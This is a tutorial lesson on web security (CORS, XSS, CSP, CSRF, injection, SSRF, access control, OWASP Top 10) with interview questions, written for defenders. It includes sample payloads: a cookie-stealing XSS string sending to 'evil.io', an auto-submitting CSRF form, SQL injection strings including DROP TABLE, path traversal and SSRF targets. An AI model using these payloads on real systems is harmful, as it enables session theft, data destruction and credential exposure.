Web Security

The same-origin policy and CORS, XSS and Content Security Policy, CSRF and SameSite cookies, SQL and command injection, SSRF, clickjacking, broken access control, security headers, dependency risks, and the OWASP Top 10.

Intermediate 5 min readLesson 12 of 14 Interview Q&A

Web applications are exposed to everyone on the internet. Most breaches come from a small set of well-understood vulnerability classes, catalogued in the OWASP Top 10. Learn these and their standard defences.

The same-origin policy and CORS

An origin is scheme + host + port: https://app.example.com:443. The browser's same-origin policy (SOP) stops scripts on one origin from reading responses from another — otherwise any site you visit could read your bank's pages using your cookies.

CORS (Cross-Origin Resource Sharing) lets a server opt in to cross-origin reads:

HTTP
# Request from https://app.example.com to https://api.example.com
Origin: https://app.example.com

# Response
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Vary: Origin

"Non-simple" requests (custom headers, PUT/DELETE, JSON content type) trigger a preflight OPTIONS request first. Common mistake: reflecting any Origin with credentials allowed — that lets every website make authenticated reads of your API. CORS protects browsers' users; it isn't server-side access control (curl ignores it).

Cross-site scripting (XSS)

An attacker gets their JavaScript to run in your page, with full access to the user's session, DOM and data.

TypeHow
StoredMalicious input saved (a comment, a profile name) and rendered to other users
ReflectedInput from the URL echoed into the response: /search?q=<script>…</script>
DOM-basedClient JS writes untrusted data into dangerous sinks: innerHTML, eval, location = …
JavaScript
// ✗ vulnerable
results.innerHTML = `You searched for ${query}`;     // query = <img src=x onerror="fetch('//evil.io?c='+document.cookie)">

// ✓ safe
results.textContent = `You searched for ${query}`;

Defences, in layers:

  1. Contextual output encoding: escape for HTML body, attributes, URLs and JS contexts. Template engines and React/Vue/Angular do this by default — the danger is escape hatches (dangerouslySetInnerHTML, v-html, | safe).
  2. Sanitise HTML you must allow (rich text) with a vetted library like DOMPurify.
  3. Content Security Policy to limit damage if something slips through.
  4. HttpOnly cookies so scripts can't read session tokens.

Content Security Policy

HTTP
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' 'strict-dynamic';
  style-src 'self';
  img-src 'self' data: https://cdn.example.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  object-src 'none'

A nonce-based CSP blocks inline scripts and scripts from unknown hosts, so injected <script> tags don't run. Deploy with Content-Security-Policy-Report-Only first to find violations.

Cross-site request forgery (CSRF)

The browser automatically attaches cookies to requests to a site — even when another site triggers them. A malicious page can submit a hidden form to https://bank.com/transfer, and the user's session cookie goes along.

HTML
<!-- on evil.example -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker"><input type="hidden" name="amount" value="50000">
</form>
<script>document.forms[0].submit()</script>

Defences:

  • SameSite=Lax or Strict cookies (Lax is the browser default now): cookies aren't sent on cross-site POSTs.
  • CSRF tokens: a random per-session token in each form, checked by the server (an attacker can't read it due to SOP).
  • Check Origin / Sec-Fetch-Site headers on state-changing requests.
  • Never change state on GET.
  • APIs that authenticate with an Authorization header (not cookies) aren't CSRF-prone.

Injection

Untrusted data interpreted as code or commands.

SQL injection

Python
# ✗ string concatenation
cur.execute(f"SELECT * FROM users WHERE email = '{email}'")
# email = "' OR '1'='1' --"  → returns every user;  "'; DROP TABLE users; --" → worse

# ✓ parameterised query: data is never parsed as SQL
cur.execute("SELECT * FROM users WHERE email = %s", (email,))

Always use parameterised queries or an ORM's bound parameters. Identifiers (column names in a sort parameter) can't be parameterised — validate them against an allow-list.

Other injections

  • Command injection: os.system("convert " + filename) → use argument arrays (subprocess.run(["convert", filename])), never a shell.
  • Path traversal: ../../etc/passwd in a filename → resolve paths and verify they stay inside the allowed directory.
  • Template injection, LDAP/NoSQL injection ({"$ne": null} in MongoDB queries), header injection — same lesson: keep data and code separate; validate inputs.

Server-side request forgery (SSRF)

Features that fetch a user-supplied URL (webhooks, link previews, "import from URL") can be abused to make your server request internal resources: http://169.254.169.254/latest/meta-data/ (cloud credentials), http://localhost:6379, internal admin panels.

Defences: allow-list destinations where possible; resolve the hostname and block private, loopback and link-local IP ranges (and re-check after redirects — DNS rebinding); run fetchers in an isolated network; use IMDSv2 on AWS.

Broken access control

The #1 OWASP category: users acting outside their permissions.

  • IDOR: GET /api/invoices/1043 returns someone else's invoice because the server only checks login, not ownership.
  • Privilege escalation via hidden admin endpoints or a role field accepted in a profile update (mass assignment).
  • Fix: enforce authorization server-side on every request and object; deny by default; allow-list writable fields (Authentication).

Clickjacking

Your page is loaded invisibly in an <iframe> on an attacker's page, and users are tricked into clicking buttons. Defence: Content-Security-Policy: frame-ancestors 'none' (or X-Frame-Options: DENY).

Security headers checklist

HeaderPurpose
Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadForce HTTPS (HTTPS and TLS)
Content-Security-PolicyRestrict script and resource sources; framing
X-Content-Type-Options: nosniffStop MIME sniffing
Referrer-Policy: strict-origin-when-cross-originLimit URL leakage
Permissions-Policy: camera=(), geolocation=()Disable unneeded features
Cross-Origin-Opener-Policy: same-originIsolate the browsing context
Cookies: HttpOnly; Secure; SameSiteProtect sessions

Beyond code

  • Vulnerable dependencies and supply chain: pin versions with lockfiles, run npm audit/Dependabot/Snyk, review new packages, use Subresource Integrity for CDN scripts.
  • Secrets management: no secrets in repos or front-end bundles; use a secrets manager; scan commits.
  • Security misconfiguration: default passwords, verbose error pages, open S3 buckets, debug mode in production.
  • Logging and monitoring: detect attacks (failed logins, unusual access) without logging secrets or passwords.
  • Rate limiting against brute force and scraping (Rate limiting).
  • File uploads: validate type and size, store outside the web root or in object storage, serve from a separate domain, scan.

OWASP Top 10 (2021) at a glance

#Category
A01Broken access control
A02Cryptographic failures
A03Injection (including XSS)
A04Insecure design
A05Security misconfiguration
A06Vulnerable and outdated components
A07Identification and authentication failures
A08Software and data integrity failures
A09Security logging and monitoring failures
A10Server-side request forgery
Key takeaways
  • The same-origin policy blocks cross-origin reads; CORS selectively relaxes it — never reflect arbitrary origins with credentials.
  • XSS: encode output by context, avoid innerHTML with untrusted data, sanitise rich text, add a nonce-based CSP and HttpOnly cookies.
  • CSRF: SameSite cookies, CSRF tokens, Origin checks, no state changes on GET.
  • Injection: parameterised queries, argument arrays instead of shells, allow-lists for identifiers and paths.
  • SSRF: restrict outbound fetches and block internal address ranges.
  • Enforce authorization on every object server-side; set security headers; manage dependencies and secrets.
Interview questions
QWhat's the difference between XSS and CSRF?medium

XSS injects attacker-controlled script into a trusted site, so it runs with the victim's privileges inside that origin and can read data and act as the user. CSRF doesn't run code on the target site; it tricks the victim's browser into sending a forged request (with their cookies attached) from another site. Defences differ: XSS needs output encoding, sanitisation and CSP; CSRF needs SameSite cookies, CSRF tokens and Origin checks. A site with XSS can defeat CSRF tokens because the script can read them.

QDoes CORS protect my API from unauthorised access?medium

No. CORS is enforced by browsers to decide whether a web page from another origin may read a response. Non-browser clients ignore it, and simple requests may still reach and change state on your server. Protect APIs with authentication, authorization checks and CSRF defences; use CORS only to allow specific trusted front-end origins to read responses.